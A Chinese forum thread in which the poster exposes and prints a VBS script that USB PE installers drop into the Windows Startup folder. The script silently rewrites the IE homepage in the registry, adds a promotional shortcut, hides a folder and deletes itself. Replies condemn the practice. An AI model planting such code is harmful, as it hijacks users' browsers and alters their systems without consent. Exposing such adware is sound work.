网上那些USB装机系统安装系统后修改主页的脚本

当今USB PE流行，老xx，电xx，大xx 。。安装系统后都会把系统改成他们的主页来赚钱.
最近研究下载了好几个，有的提示：支持xx ..有的是直接静默就替换了安装后系统的主页。

他们都有一个共同点，在C:\Documents and Settings\All Users\「开始」菜单\程序\启动     里面释放一个vbs脚本。

下面安装后修改系统首页的vbs脚本，在进入系统在启动里面运行。

1. On Error Resume Next '防止出现错误
   
2. set lhwy=createobject("wscript.shell")
   
3. On Error Resume Next '防止出现错误
   
4. path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
   
5. tf=lhwy.regwrite(path,"首页地址")
   
6. set path=nothing
   
7. path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
   
8. tf=lhwy.regwrite(path,"首页地址")
   
9. 
   
10. WScript.Sleep(25000)
    
11. On Error Resume Next '防止出现错误
    
12. set lhwy=createobject("wscript.shell")
    
13. On Error Resume Next '防止出现错误
    
14. path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
    
15. tf=lhwy.regwrite(path,"首页地址")
    
16. set path=nothing
    
17. path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
    
18. tf=lhwy.regwrite(path,"首页地址")
    
19. 
    
20. Const ADMINISTRATIVE_TOOLS = 6
    
21. 
    
22. Set objShell = CreateObject("Shell.Application")
    
23. Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
    
24. Set objFolderItem = objFolder.Self   
    
25. 
    
26. Set objShell = WScript.CreateObject("WScript.Shell")
    
27. strDesktopFld = objFolderItem.Path
    
28. 
    
29. ;收藏夹添加
    
30. Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\流氓PE官网.url")
    
31. objURLShortcut.TargetPath = "http://www.xxx.xxxxxxx/"
    
32. objURLShortcut.Save
    
33. 
    
34. On Error Resume Next '防止出现错误
    
35. Dim objws,objfso,dn
    
36. Set objws=WScript.CreateObject("wscript.shell")
    
37. Set objfso=CreateObject("scripting.filesystemobject")
    
38. dn=objfso.GetDriveName(WScript.ScriptFullName)
    
39. objws.run "attrib +h " & dn & "\ProgramData",0
    
40. 
    
41. 
    
42. On Error Resume Next '防止出现错误
    
43. Set fso = CreateObject("Scripting.FileSystemObject")
    
44. WScript.Sleep 3000 '将脚本执行挂起1秒
    
45. fso.DeleteFile(WScript.ScriptName) '删除脚本自身
    
46. If fso.FileExists("C:\Documents and Settings\All Users\「开始」菜单\程序\启动\IE.VBS") Then fso.DeleteFile("C:\Documents and Settings\All Users\「开始」菜单\程序\启动\IE.VBS") '删除程序 如果不想删除可以每次都修改主页
    
47. 
    
48. 
    
49. On Error Resume Next '防止出现错误
    
50. Set fso = CreateObject("Scripting.FileSystemObject")
    
51. WScript.Sleep 1000 '将脚本执行挂起1秒
    
52. fso.DeleteFile(WScript.ScriptName) '删除脚本自身
    
53. If fso.FileExists("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IE.VBS") Then fso.DeleteFile("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IE.VBS") '删除程序 如果不想删除可以每次都修改主页
    
54. 
    
55. wscript.quit

复制代码

②號 发表于 2012/6/30 15:40
一般是偶遇。。也有些时候和RP有关。。

楼主这个值得表扬。

我只不过是想告诉他你说的话。

我最讨厌就是被人静默的更改掉主页
                              没提示这样太下作了

研究的挺透的

limingliang 发表于 2012/6/30 14:05
为什么我回帖总是被罚硬盘？

一般是偶遇。。也有些时候和RP有关。。

楼主这个值得表扬。

为什么我回帖总是被罚硬盘？
[发帖际遇]: limingliang 发帖时在路边捡到 2 个 硬盘，偷偷放进了背包.

为什么我回帖总是被罚硬盘？

这样总不好。要让人心甘情愿才行。比如说AM